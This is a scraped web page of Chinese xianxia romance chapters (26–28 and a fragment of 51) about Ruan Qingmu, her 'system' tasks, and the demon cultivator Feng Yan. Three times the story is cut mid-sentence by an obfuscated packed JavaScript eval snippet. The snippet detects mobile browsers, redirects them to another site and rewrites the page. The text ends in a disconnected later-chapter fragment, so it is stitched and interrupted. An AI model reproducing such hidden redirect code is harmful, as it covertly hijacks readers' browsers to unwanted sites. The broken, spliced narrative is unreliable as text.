有云霄宗弟子赶来相助,局势转瞬扭转过来。一道道银色剑光密集地将那妖物包围,伴随着一声声惨叫,凌无相御起自己的本命剑,朝着那妖物的头颅刺下最后一剑。 终于惨叫声消失,砰地一下子倒地,再无生息。 余下一些妖鬼也纷纷被擒住,镇压于法阵之下。方才还生死一线的氛围,骤然沉寂下来,只剩远处宅邸内百姓劫后余生的抽泣声。 凌无相缓缓拔出插在妖物头颅上的长剑,剑身的妖血被他清理干净后,收回掌中。 他犹豫一瞬,才转身对着云霄宗的弟子抱拳一礼,“多谢几位道友出手相助,在下……” “无相!”温疏良忽然打断了他。 云渡珩也从温疏良的身后探头而出,神色不似平日里那般总带着冷意,她笑着回道:“凌师弟,许久未见,身手还是这么好。” 阮清木在暗处微微蹙眉。看来那苏婧空的记忆没有出错,凌无相之前应该就是云霄宗的弟子。 但凌无相并无心与他们叙旧,甚至看起来很避讳。他转身看向一地狼藉,朝着万灵宗的几名弟子走去,先查看伤势较重的那个修士的情况。 留云霄宗弟子在原地面面相觑。 温疏良轻笑一声,回头看了一眼不远处的客栈,和云渡珩还有炎昀一行人朝这方向走来。 阮清木往外探着的身子忽然缩了回来,一回头正撞到风宴的怀里。 “看够了?”冷冰冰的声音从头顶传来。 阮清木点了点头。 下一秒就被拎到了床上。 “那就睡觉。”风宴的语气已然不悦。 原本今夜本可以杀了温疏良,就算杀不成,也能将其重伤。结果现在一夜过去,什么也没做成,再加上一直以来持续的莫名的烦躁感,风宴无处发泄。 “哦。” 阮清木听话地坐回床上。估摸着是因为这城镇靠近妖域,所以夜晚居然如此危险,妖物纵横。凌无相和那几个修士看起来也不像是路过,反应如此迅速,看来是有备而来,特意在此镇守。 她脑中回忆着那几道明亮的剑影。 忽然抬起头问道:“表哥,好像真的从未见过你用剑的样子。” 风宴的动作忽然顿住,他蹙起眉,不悦道:“看这个做什么?” “好奇。”她半撑起头,想起何言先前说的话,他不会真的对剑道不熟吧。 可风宴连眼皮都未抬一下,直接将床上的薄被掀到阮清木的脸上,漫不经心道。 “还没有遇到什么需要我拔剑才能应对的场面。” 26. 第 26 章 风宴似乎精通世间的杀伐之术,却唯独很少有人见他用过剑。 就连那只自幼时就被风宴捡回,伴其左右的灵宠,见他拿剑的次数,一只手都能数得过来。 甚至他还有一柄足以天地都为之失色的本命灵剑——妄月,连带着那魔剑都从不示人。 直到有次风宴被瑜宸宫的宫主公然挑衅,在一夜荒寒月色之下,风宴手起剑落将瑜宸宫的一宫之主给杀了,顺便接手了瑜宸宫,成为新任宫主。 也是那一夜,炎昀第一次见过他那柄灵剑的样子。自他满是黑色魔气的掌中抽出,那狭长的剑身却丝毫不受魔气影响,一柄银光剔透的雪色长剑,剑柄之上还盘踞着一条通体雪白的蛇身。 就连清冷月光碰到那身剑身的光芒,都显得略微逊色。 那无疑是他此生见过的最好看的剑,纵使他之前身居在仙界,也没有见到能有剑光宛如星河,自带着睥睨众生的孤傲狂妄,甚至和风宴是一个脾性。 他出手的剑术速度极快,每一招一式都流畅华丽,就连眼神都会变得极为痴迷,甚至近乎虔诚。简直不像堕魔之人,更像出身于哪个名门正派的仙道弟子。 是旁人穷极百年都追不上的天赋,类似于修真界中万里挑一的天生剑骨的天才。 魔修之中是没有人会这般修炼剑道,甚至会对修真界那些花里胡哨的招式不屑一顾。所以,炎昀甚至怀疑风宴是否是哪个仙家弟子误入了魔道。但仔细想来,是也没有任何一个名门正派会收一个妖族做为弟子。 不过虽然他剑道精湛,但更多时候,风宴宁愿更耗费灵力,甚至近身搏杀,也在刻意回避着用剑。 其中原因只有风宴自己知道。 因他曾经确实有着常人羡慕不来的极致天赋,天生剑骨,剑即是他的骨,他的魂。在旁人还在为悟出一丝剑气而痛苦时,他便已人剑合一,浑然天成。 可也是这身剑骨将他推入地狱。 背间有一道自脊椎破开的狰狞可怖的疤痕。那是他的剑骨被人活生生剔出的痕迹。剑骨被剜时,血肉粘连,他只觉四肢百骸的经脉都断了。 那人又将他胸膛剖开,拔掉了两根肋骨,接在他的剑骨之上,最终那几节白骨蜿蜒缠在自己的手中。因剑骨便是剑道的灵魂,将剑骨外置于自己的手中,便可自通剑道。 风宴被丢入魔域,被魔兽争先啃食肉身的痛,比不过骨髓深处痛楚的万分。 所以失了剑骨的人,又如何再拿起剑呢。 纵使他在魔域中靠邪术将自己的修为一路暴涨,掠夺了天地间所有阴煞之气。再用剑时,可以凭借魔气御剑,一招一式与之前的他没有任何区别。 甚至因有修为加持,招式威力都更胜从前。 他却心中始终清楚,再漂亮的剑术也只是对从前拙劣的模仿。所以深入骨髓中的恨,只会又增添一分。 他在床榻上缓缓阖上眼,只觉今夜的明月也同当时一样亮得毫无人性。 - 阮清木自天亮之后就到何言的屋子里去了。谁料她对昨夜妖鬼作祟之事居然一无所知。 “昨晚上那么大动静,你一点没听见?”阮清木不敢相信她的睡眠质量。 何言迷茫地看着她,抬手运转灵力,将窗棂上挂着的一串小铃铛勾到手中,她将铃铛拿在手中晃了晃。 “昨天听你说有妖气,我就把这个挂上了。这铃铛只需一点灵力就能结出结界,我房间被罩住,所以一点声响都没听见。” 除了这铃铛,她屋内的小桌上还摆着各式各样的灵器。 阮清木有点震撼:“还在仙宗的时候我就想问了,你怎么这么多装备啊。” 她眼睛眨了眨,接着道:“嘿嘿,都是我老爹留给我的宝贝。还有更厉害的呢。”说完她就想起她那在鬼域断了音讯的鬼修老爹,一脸愁容。 “昨晚温疏良他们来了吗?”何言问道。 阮清木点头:“半夜到的。刚好碰上凌无相抓那几个作祟的妖鬼,差点被妖鬼打伤,还是温疏良及时出手把他救下的。” “看起来他和温疏良还有云渡珩还是旧识,好像许久之前也是云霄宗的弟子。”她试探地开口。 “有点好奇他是怎么离开云霄宗,去了其他仙门的。毕竟云霄宗可是修真界的第一门派,这中间……” 何言听她这么说,也被勾起几分兴趣,“他昨天还说你看着眼熟,难不成早就看出我们是云霄宗的弟子,真是故意搭讪的?” 她边说边掏边取出了传讯符,挑眉笑了笑:“我打听打听。” 阮清木勾起嘴角,她就是这个目的。 何言传完讯息,二人索性先下楼在客栈一楼坐着,打算堵到温疏良再见机行事。 沿着吱呀作响的楼梯下楼,就见客栈的大堂外,长街上比前几日要冷清不少,但门前却已围着一些人,嘈杂声传来。 客栈敞开的大门外,长街之上,赫然停着两顶极为奢华的轿子,身旁围着全是衣着华贵的随从和几名小厮。 昨夜激斗后的残局狼藉已经被连夜清理干净,除了两座轿撵,和围过来看热闹的百姓。 滴的一声,面板就忽然弹在阮清木面前,挡住了她向外看的视线。面板上显示着一条长街的小地图,温疏良的位置在小地图上缓慢移动。 她立即拉着何言往面板上显示的位置走去。 “会演戏吗?”阮清木贴在她耳边轻声问道。 何言怔住。 “一会别管我说什么,你就添油加醋地顺着我说就行了。” 她拉着何言左拐右拐,街上铺子大都紧闭着门,昨晚妖鬼这么一闹,今天开门营业的很少。 终于是看到一间铺子,门脸不大,极为雅致,窗明几净的,里面专营一些女儿家喜欢的小玩意,譬如精致的香囊,各种材质的发簪以及大大小小的脂粉物件。 云渡珩许久未来到这般有烟火气的城镇,一大早就薅着温疏良和她一起来街上逛了。 何言也注意到那铺子门前的身影,温疏良一袭湖青色衣袍,长身玉立,随意倚在铺子外的廊柱上,与那铺子格格不入。 正在外面百般无聊地等着云渡珩,那双淡漠的眼眸正漫不经心地扫过街上的人来人往,视线微抬,便掠过了不远处的阮清木,微微一怔。 “你们怎么在此地?”温疏良稍显讶异。 阮清木也露出欣喜之色,上前一步喊道:“温师兄,怎么会在这碰见你?” 温疏良又扫了一眼她身后的何言,面上毫不掩饰闪过一丝疑虑。 阮清木没有立即开口解释,也没有因为被怀疑而流露出丝毫的慌乱和委屈。只任他打量着,旋即拉起何言往铺子中走去。 “那日和你在竹胥居分别之后,我表哥没多久就回来了。只是我当时和他吵了一架,心情不好,我就求着何言带我下山散心了。”阮清木清冷的眸间不带着一丝情绪,仿佛说的事情与自己无关,一副置身事外的样子。 只是从温疏良面前经过时,她看似无意地撩了下耳边的青丝,温疏良的视线被带着往她脸上看去。 正巧就瞥见她那微肿起带着血痕的嘴角。 她抬眸,又想起来什么似的,“所以师兄怎么会在此?应该不会像我这样无所事事,无聊才下山的吧。” “对了,昨夜听闻这里有妖鬼作祟,莫不是那些百姓口中说的仙君,是师兄?”阮清木忽然眼睛亮起来,强压着眼底的欣喜。 在她这张清冷的脸庞上停留了足足数息,温疏良才轻笑道:“昨夜不是我,是其他宗门弟子,我只是恰巧路过,帮了一手。” “此次下山也确实是有任务在身,没想到表妹居然会出现在锦安城。”他顿了顿,又问:“你方才说同你表哥……” “吵架了?” 阮清木这才意识到什么,连忙把脸扭到一旁,暗地里又掐了掐何言的手。 “是啊,他们表兄妹那日吵得可凶了,我在隔壁屋都听见了。”何言伶俐地接过话,“互相喊着什么你是不是蠢!什么我的心意啊你的眼神啊,别干涉我的感情,你为什么就是不懂我,我们之间究竟算什么……” “说什么呢,才没有这些话。” 阮清木佯装瞪了她一眼,让她噤声。 不亏是写话本子出身的人。 温疏良眸间一暗,他想起那日脱口而出,对阮清木说什么日后会护着她这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16258036|180167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 类的话,当时他就反应过来有所不妥,但奈何话一说出,又难以收回。 想来定是因为他,让阮清木难堪了。 那风宴平日里看着阮清木的眼神就不对劲,其实这是他早就发现了的。 更何况这铁证都挂在她脸上了。 云渡珩从铺子里出来,衣袖间还沾着些淡淡的胭脂香。其实她也喜欢这些小玩意,却又傲气地觉得自己不需要这些东西点缀。于是只看看,转了一圈,什么都没买。 一出来,目光便落在阮清木的身上。长街上逐渐恢复了一些喧闹声,温疏良见了她,先解释道:“表妹下山随便玩玩,也是没料到这么巧在这遇见。” 云渡珩皱了下眉,冷声问道:“什么时候和人家那么熟了,也不问问人家愿意被你叫表妹吗?” 说完,她眼角余光又往阮清木身后扫去,没看见别人,只瞧见了何言。对她不算熟悉,便只是淡淡点了点头。 “你们是偷偷下山的?”虽然面色看着平和,但语气冷了几分,“这般不把仙门的规矩当回事,若是被长老知道,要怎么交代?” 阮清木和何言老实地听着训话,不吭声。 温疏良心中还带着些愧疚,刚要替她解释,一个不合时宜的叫嚷声忽然传来,言语十分嚣张。 阮清木仔细听了一下,大致在骂着什么人是废物,云霄宗和万灵宗的名号在叫骂声中此起彼伏。 温疏良和云渡珩忽然神色一凛,对视一眼,连忙往那声音传来的方向赶去。 阮清木也紧跟着,几人赶到客栈前,见那两个轿子前,几个万灵宗弟子将一人团团围住,身旁还有些随从在劝架。 “昨夜若不是我云霄宗的师兄弟恰好路过,就凭你们,怕是连个最低阶的小鬼都镇不住吧?什么万灵宗,你听过吗?”宋卿羽站在人群中,随意对一个路人开口问道。 那路人被吓得不敢言语。 他又是一声嗤笑,低头对着正在劝架的小厮问道:“你听过吗?什么万灵宗万华宗的?” 那小厮只拦着他:“恩公!恩公莫要再吵了,都是救了百姓的仙家道君,都是恩人啊。” 宋卿羽一身华服,满脸的骄纵,嘴角全是嘲讽的笑意。几名万灵宗弟子脸色十分难看,几人已攥紧了拳头,死盯着宋卿羽,几乎强忍才没有动手。 啪的一声,宋卿羽的脑袋就被人从身后猛地拍了一下。他瞬间燃起怒意,口中叫骂:“谁敢打我?” 一回头就看见云渡珩满脸怒意站在他身后。 “不是将你留在仙门了吗?谁让你自己下山的?”温疏良厉声问道。他转过身扫了一眼万灵宗的弟子,还好是没见到凌无相,不然要让他这么骂,绝对是要打起来。 宋卿羽欲要回嘴,郡守便从那轿子上匆忙下来,“哎!各位仙君!恩公,都是为了我们锦安城的百姓,若不是有云霄宗和万灵宗两家仙君出手相救,这锦安城早成了妖城了。都是我们锦安的恩人啊!” 锦安的县令屁颠地跟在郡守的后面,面上带着谄媚:“是了,平日里锦安就总犯些妖鬼作祟,全靠万灵宗的弟子在此地镇守,现又得云霄宗的仙君庇护。实在是我们百姓的恩荣啊。” 何言凑到阮清木的耳边低声道:“宋卿羽,纨绔任性,仗着被祝奇徽看着合眼缘,平日里跋扈惯了。” 阮清木看着那锦安的县令,也就是苏婧空的父亲苏正山,在郡守身后赔着笑。 只是奇怪的是,听见自己女儿的仙宗名号也没什么特别的反应。 她抬起头往客栈二楼望去,正好瞧见风宴倚在窗边向下看着她。 阮清木对着风宴歪头笑了一下,结果下一秒被突然弹出的面板挡住了视线。 她笑容僵住,死爹任务又来了。 系统:“这县令已被妖鬼附身,等下攻击温疏良时,你冲上去替他挡一下。但宿主放心,只是剧情需要,并不会让你真的受伤,任务完成后还会提升温疏良的信任值。” “……” “凭什么我替他挡伤害?”阮清木脱口而出,但系统没回她,冷漠地响起倒计时,随后将面板收回。 时停消失,风宴在二楼也对她回了一个浅浅的笑。 27. 第 27 章 目光相抵时,风宴那浅浅的笑意让阮清木有些晃神。他身上换了一袭玄色的锦袍,纤长的脖颈露了出来,墨发也高高束起,风姿翩翩,看起来心情好似不错。 阮清木先移开视线,将注意全放在那个县令苏正山的身上。虽然事先被系统预告此人被妖鬼控制,但单从他那副老实讨好的样子来看,是一点也看不出有什么不正常之处。 凌无相从客栈中走出,也是察觉到长街上的冲突,他走进人群,神色严峻地开口:“怎么了?在吵什么?” 苏正山见了凌无相更是迎了上去,笑道:“仙君,多亏您带着万灵宗的弟子在这守了这么多日,这半月来当真是辛苦您了。” “哟,这么大架子,就你们……唔!”宋卿羽刚要继续嘲讽就被温疏良捏了静口诀。 但显然凌无相更不想理会苏正山,对着自己门内的师弟们说道:“身上有伤的就先去休养,过几日启程去洛方镇,那地方可不比这锦安城。” 温疏良一听到洛方镇三个字,有些讶异:“无相,那洛方镇听闻妖煞气极重,你们去哪做什么?” 明明自己也是要去洛方镇的人,现在反倒先套别人的话了。 宋卿羽在一旁将眼睛瞪得极大,嘴里支支吾吾地哼唧着。 凌无相扫了一眼温疏良,不置可否地笑了笑:“明知故问呢?你们云霄宗弟子特意下山来此,怕不是要和我们万灵宗的目的相同吧。” 这些话音一字不落地全都落在阮清木的耳朵里,她微蹙起眉。 要说玄虞州目前的仙门百家论资排辈,一是看各宫主长老以及内门弟子的实力,二则就是看镇妖诛邪之功,此为苍生所系,功深者自得天道垂青。 万灵宗的名号虽不及云霄宗,但也不是小门小派。看来也是奔着这百妖王去的。 那就又多了一个竞争者。 虽说她的任务只要阻止温疏良拿到那魄珠就可以了,但她毕竟也答应了风宴,会帮他取那颗魄珠,那她现在自然站风宴这边。 她留意着苏正山的站位,此刻倒是离凌无相更近一些。 阮清木想着,要是苏正山忽然有所动作,干脆把凌无相推到温疏良面前,让他去挡好了。反正保证男主不受伤就行,这样还可以少一个竞争对手。 就这样她悄然挪动着位置。 “仙君,下官在这城中另有一套空置的别苑,久无人居,倒也十分清净。想来诸位仙君既要休养,不妨移步我那宅院中,还有粗使下人服侍您。”一旁的郡守忽然开口,对凌无相一副实在难表言谢的样子。 凌无相倒对郡守有所反应,他想了想,道:“住客栈确实不方便,但我倒不想住你的宅邸。”他转过头,看向苏正山。 苏正山连忙恭敬地开口:“有的有的,仙君,若您想住在卑职的宅邸,这也就是您一句话的事。” 郡守转头问温疏良:“那这位仙君,不妨到我府歇息。” “不必,我们今夜便动身。”温疏良只冷笑着回了一句,说完便拂袖离开。 宋卿羽虽然说不了话,但喉间却挤出笑声,得意地扫了一眼万灵宗的人,转身跟着自己大师兄离开。 苏正山面上的笑容忽然凝固,双眼的瞳孔忽然变大变黑。因两个门派弟子没了方才剑拔弩张的气势,精神都松懈了下来,没人注意到这异样。 阮清木抬起手,找好角度,准备—— 骤然间,苏正山的脑袋直直向后转了个圈,手指瞬间变得尖锐,径直朝温疏良背后抓去,口中还不忘喊了一句:“仙君留步啊!” 阮清木的手刚搭在凌无相的身上,瞬间脑中就弹出系统的警告声,紧接着身体便不受控制,猛然向前,挡在了温疏良的面前。 “不是……!” 她还没来得及反应,甚至连众人都没看清那县令的身影,她就被系统抓到了温疏良的身旁,眼看着那鬼手向她胸前袭来。 虽说系统提示过她不会受到伤害,但这种危机时刻谁能记住这话? 她脑中一片空白,抬掌运起灵力就要先劈向那县令的脑袋。与此同时,好似还有另一股力量压制在那县令身上,他神色猛地痛苦。 系统忽然出现:【警告!因识别到宿主异常反应,此任务可能出现偏移。】 被妖鬼附了身的苏正山的鬼手一抖,撕拉一声,血溅四起,虽然被卸了些力道,方向也偏了,但那狠厉的鬼掌还是钉在了阮清木的肩膀上,沿着锁骨一路划出骇人的伤口。 不是说不会受伤的吗? “清木!”何言和云渡珩的声音一同响起。 阮清木只觉肩处传来撕裂般的痛楚,疼得她眼前猛地一黑。那妖鬼的一掌还带着妖力,瞬间感觉心脉都受了影响。 要不是她比较能忍痛,只怕现在眼泪都要掉下来了。 这回不是装的,她双腿一软就往温疏良的怀里倒了下去。 云渡珩已瞬行过来,长剑一挥,先是运起灵力将那邪物制住,旋即将剑尖往前一送,便要割下苏正山的脑袋。 铮的一声,又是一道剑光,竟横在她的剑下。云渡珩震惊地抬眼看去,拦住她的人居然是凌无相。 “你这是做什么?”云渡珩厉声问道。 凌无相忽然顿住,面色十分难看。一个万灵宗的修士,当着众修士师弟的面,居然不许她杀一只妖,无论是何理由都十分荒谬。 缩在温疏良怀中的阮清木身子一抖,她胸口发痛,猛地溢出一口血来。 温疏良急忙掐诀给她渡去灵力,伤口止了血,但嫩绿色的衣裙全被血迹浸满,她面色惨白,声音颤着:“温师兄……” 倒是装绿茶的好机会,阮清木忍着痛也要继续说:“我没事。” 砰的一声,一股极强的灵压闪至众人之间,凌无相和云渡珩的灵剑都被震开,那苏正山的身子陡然被拎起,脚尖离地,脖颈被捏出骨骼作响的声音。 阮清木一下子就瞥见了风宴。 余下在场所有人也都怔住,不知他是从哪出现的,且这一身的灵压也强得令所有人都倒吸一口凉气。 他手中虽捏着苏正山,眼神却落在阮清木的身上,面上带着不解的讥笑。 “你倒真是让我好找啊。”他语气冷到了极点。 阮清木抽了一口气,咬紧牙配合着他开口:“表哥你……怎么在这。” 一时间只有凌无相回过神来,他上前一步:“这位道友,他只是被妖鬼附身,莫要将无辜之人杀了。” 风宴回过头,像是没听懂他在说什么。 凌无相竟眸光闪烁,噗通一声,屈膝向他一跪,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16258037|180167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将手中的灵剑抬起,“把他交给我,我定将这妖鬼挫骨扬灰,若你不信,现在便可先杀了我。” 阮清木意识已有些模糊,但仍强撑着,见凌无相居然下跪恳求风宴,那段苏婧空的记忆再次浮现,最终留在她识海中的悲伤,她到现在都还记着。 当初他便是瞒着苏正山,偷偷带着苏婧空离家。 只是当年跟着他远走高飞的小姑娘,现如今却连体面存着尸骨的地方都没有。 她忽然无声地嗤笑,男人果然最会做的就是感动自己。 风宴的手中力道还在加重,他漠然盯着跪下的凌无相,苏正山在他手中抽搐,青筋暴满额间。 他移开眼,猛地将苏正山往他凌无相身上一甩,紧接着一闪而过的剑光,鲜血顺着凌无相的肩头流下。 啷当一声,他的灵剑也跟着落地。 “那我表妹的伤,便由你来还。”风宴甩了甩手,朝阮清木走了过去。 没有一人看清他是何时出手的。 阮清木终于是撑不住,肩处的伤口痛得她意识涣散,在温疏良怀中晕了过去。 - 阮清木做了一场梦。她像是一株瑰丽的参天巨大的树,云雾缭绕,不知是何品种的火红的繁花长满枝叶,随风摇曳。 点点星光和云层就在她身侧,脚下是宽阔没有尽头的一片如碧玉般的灵池,腾起似雾一般化不开的灵韵。 她只轻轻地一呼一吸,便觉得周身的万物都虽她呼吸起伏而流动,仿佛是被她赋予了生命一般,偶尔带起一道道细微的金色灵光。 她抬起头,看见自己的枝叶长到与尽头的云海相连,天光相接,尽头缥缈的夕阳似火光一般。好像不是她的意识,所以阮清木很快便反应过来自己是在做梦。 大概是在仙门待久了,连这么美好静谧的梦境都能出现在她脑中了。 几只仙鹤顺着流光自云海中飞出,口中衔着几节花枝,朝着她飞来。 阮清木下意识地抬手接住,忽然肩处猛地一痛,她抽了一口气,猛地睁开眼。 醒了。 已是深夜,月光自镂花的窗棂投下,她缓缓转动眼珠,借月色瞧着这极为宽敞的房间,就连床榻四角都挂着锦缎帷幔,内里还给她遮住了一层内纱。 她深吸一口气,忍着痛撑起身子,估摸着这就是那郡守府空置的府邸。 忽然又想起,温疏良白日里说今夜就去洛方镇。完了,这要是把她自己留在这可就遭了。连忙扶着床边的檀木起身,肩处的伤口被牵扯,传来灼烧般的痛意。 她微闭了闭眼,还是站了起来。 其实差不多同样的位置,她也有一处旧伤。甚至非常巧合的是,原主身上也带着那道疤。现在的痛意,也和当时没什么区别。 她踉跄地走到门边,短短几步仿佛走了一个世纪,像个女鬼一样,素白的衣袍,随意披在肩后的墨发,再加上惨白的脸。 终于是一只手扶到了门框,她歇着缓了一会。屋外寂静无声,不会真把她一个人留在这了吧? 她咬着牙,一只手用力将门拉开,忽然一道颀长的身影映了下来,伴随着冷冰冰的声音被屋外的泠风送到她的耳畔。 “你又要做什么?” 风宴在门外难掩怒意地直勾勾盯着她。 28. 第 28 章 阮清木面色苍白又可怜巴巴地站在门前,伤处的灼烧痛感让她一侧的肩膀向下垂着,她一只手扶住门框才能勉强站稳。 “你又要做什么?” 风宴强压着心中的怒意,眸光冷得吓人,自上而下地如刀尖将她从头到脚地寸寸刮过。 好似有些被他的态度吓到,阮清木咬住毫无血色的下唇,小声呢喃道:“我……以为你们都走了。” 阮清木现在确实有些害怕风宴,因她昨天才说让人家护着自己,结果转头她就跑去给温疏良挡伤。 这不等于戏耍人呢。 换作是她,也会觉得自己被当捉弄了,必然气得要死。 阮清木试着开口:“表哥……” “别叫我。”风宴冷冷地开口,蓦地将她打断。 她立即有些委屈地眨了眨眼睛,她又不会哭,魅术在他面前又不好使,还能怎么办? 阮清木缩了一下肩膀,素白的长裙将她整个人显得薄薄一片,额间全是冷汗,发丝凌乱,她摇摇欲坠地哼了一声:“我好疼啊。” 风宴的神色毫无动容,默不作声地盯着她,眉眼皆是冷意,往日勾人的狭长眼眸此刻只剩下压迫,当真是气极了。 想起让他生气的后果,怕不是又要咬她一口。 氛围安静地有些诡异,圆月如孤灯一般映下月色在二人之间,她环顾了一下四周,风宴的身后是院落只有亭台和几棵高树,树叶默不作声地摇曳摆动。 反正没人,要不就让他咬吧。 她阖上眼,手撑在门框上,神色掩不住的难受。分不清她是疼得难受还是怕被咬的难受。 风宴忽然怔住,蹙起眉,不明白她是什么意思。 “你干什么?”他声音从阮清木头顶飘来。 阮清木睁开一只眼睛,小声开口:“……咬我?” 风宴反应过来,身子顿时僵住,想起那日自己恼羞成怒的样子,少年青涩的眸光前所未有地闪动,怒盯了阮清木一眼,转身就走。 见他竟气得扭头直接走掉,阮清木有些慌,上前一步拽住他的衣角,他走得又急,步子迈得大,阮清木被扯得猛然往前一跌,伤口被牵扯地剧痛,她没忍住闷哼一声。 风宴闻声便顿住,他连忙回过身,身手极快地稳住阮清木,还避开她的伤处,将她捞回自己的怀中。 阮清木在他怀中痛得止不住地抽气,夸张地将五官都皱在一起,借机埋怨地开口:“都说了很疼的……” “怕疼还要冲上去舍命救他?”风宴目不转睛地盯着怀中之人,忽然冷笑出声:“先前不也求着温疏良护着你?怎么,这种话你到底还要对多少人讲才罢休?” 清泠的夜风毫不留情地刮在阮清木的身上,顶着那欲要将她看穿的灼灼目光,她一言不发地敛起神色。 她也不是没有脾气的人,带着伤还要哄人,问的问题她也回答不了。 哄又哄不好他,那算了。 “以后都不说了。”阮清木单手将他推开,踉跄地扶着身后的门框往屋内走去。 看样子温疏良他们应该还没有动身去洛方镇,不然风宴也不会出现在这了。既然还没走,那她急什么呢?还不如回去多睡会。 至于风宴,就让他气着吧。 正想着,她艰难地往屋内迈开步子,陡然间身下一轻,风宴已将她拦腰打横抱起。 “……” 干什么?方才好声好气地对他,他不搭理。现下不给他好脸色,他倒凑上来了。 阮清木在他怀中没忍住,抬头瞪了他一眼。 风宴垂下眼睫,月光将他长睫投下一连阴影,他没好气地开口:“再瞪我就掐死你。” 她索性扬起脸,将白皙的脖颈往前一伸,同他置气。 见她脖间凸起的一小戳青色脉络,微弱地跳动,好似在挑衅着他。风宴蓦地张开嘴,作势就要咬下去。 可是阮清木哪知道他要咬哪里,见他真的凑过来,吓得她连忙抬起手,微凉的指尖瞬间轻抵在他的唇上。 夜风掠过庭前的高树,枝影摇曳个不停,树叶簌簌喧嚣起来。风宴背月而立,衣袂被风拂动翩翩。 月光恰好漫过她的发间,风又起,吹起她一缕青丝,又吹起她袖间暗香,香气与他呼吸纠缠在一起。 若有似无。 阮清木的呼吸瞬间停住,指尖传来他唇瓣轻软的触感,刚想将手收回。 他却微张开嘴,像小蛇一样,试探性地咬了上去,齿尖轻咬在她手指上。 阮清木觉得他应该是一只毒蛇。 此刻毒素已自她被咬住的指尖缓缓蔓延,酥麻感顺着她的手指,流进她的血液,直抵她跳动的心口。 原来喧嚣的不是繁叶。 也不是风声。 就这么含住她指尖,将她抱回到床塌上。他终于松开口,指尖留下湿濡温凉的印记。 身下的床褥很软,阮清木往下陷去。 “我有点难受。”她忽然开口。 风宴蹙眉:“什么?” 阮清木捂着心口,思索着应该怎么解释他好像是只毒蛇,给她咬中毒了这件事。 “大概是被你凶得。”她想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16264147|180167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了想,说他是毒蛇好像有些冒犯人,万一生气了又得哄,还是算了。 “……” 风宴以为她在说伤口难受,抬手在她额间掐诀,阮清木立即意识模糊起来,连忙握住他的手。 “我不想睡了,睡够了。” “还有,我想坐起来。”她小声道。 风宴神情淡漠地抽回手,无奈又将她抱起,中途还要听着她哼哼唧唧,他只好放慢动作,终于是让她靠在床榻边的檀木上。 阮清木对着这卧房扫视一圈,冲着窗棂扬了扬下巴,又说道:“表哥你再把窗子打开,吹吹晚风。” 风宴斜了她一眼,抬手挥出灵力,照她吩咐将窗子开了一半。 “再开大点。” 风宴没再搭理她。 好嘛,人工智能也有失灵的时候。再看房内几盏铜灯台坐落着全是未点的烛火,她又开口。 “表哥点灯。” 风宴隐忍着,在阮清木再次开口前,他运起灵力,屋内烛火凭空燃起。 她满意地点了点头,眼睁睁看着他嘴角抽动了几下,早就看出来风宴不耐烦了,但就是想逗逗他。 “以后不许凶我,要这样对我好。” 风宴忽然皱起了眉,他什么都没做,怎么就对她好了? “只是这样就算对你好了?”他瞥了阮清木一眼。 “就这样。”阮清木自顾自言。 她抬眼向窗外望去,圆月好似离枝头很近,窗棂盛不下半轮月华。其实就这么待在屋里也有些无聊,心里又开始琢磨起来。 “又要干什么?”风宴一直暗中观察她的神色,忽然问道。 没想到被一眼看穿,阮清木憋了半天,才对着他笑了笑,她用没伤的那只手往上面一指。 “想去外面看月亮。” 风宴没再搭理她,往后直接倒在床榻上,还顺便阖上眼。床榻很软,被他身子带得往下一坠。他身上总是带着香气,四周又有白纱做内帘将整个床围住,阮清木感觉整个人都被他的气息包围了。 阮清木忍不住抽了几下鼻子去闻。 风宴忽然睁开眼看向她。 “我没哭。”她用余光瞥见,特意解释道。 风宴深吸一口气,调整了一下自己的脾气,最终还是坐起来,冷眼看着她,淡漠地开口:“云霄宗其余的弟子也都住在这宅邸,你确定要上屋顶去看月亮?” 啊……都在吗? 她圆黑的眸子轻飘飘地眨了眨,“那算了。” 结果下一瞬他蓦地俯身过来,将她抱了起来。 50-60 第 51 章 第 51 章 风宴的脸色不好看,没什么表情,只是很冷,偏偏眼神又是极重,像一顶笼子,是把阮清木整个罩在里面。 阮清木后知后觉……刚才,很像是抓奸的场景。 才张一张口,男人已经负手往回走了。阮清木紧紧跟着他,琢磨着一会儿得把话说清楚。 他的肩头很宽阔,身躯也挺立,跟在他后头的时候,能被他的影子全部覆盖。 阮清木嗅到些轻微的血腥味。果然! “你叫什么名字?你是妖怪吗?” 他怯生生着回答:“我没有名字……我是精怪,我不是妖,因为我没有法力。” 这是阮清木第一次见到妖怪,对方瞧着还很怕她,大概是因为知道她想吃他。 “我不会杀你的,你放心。不过…” 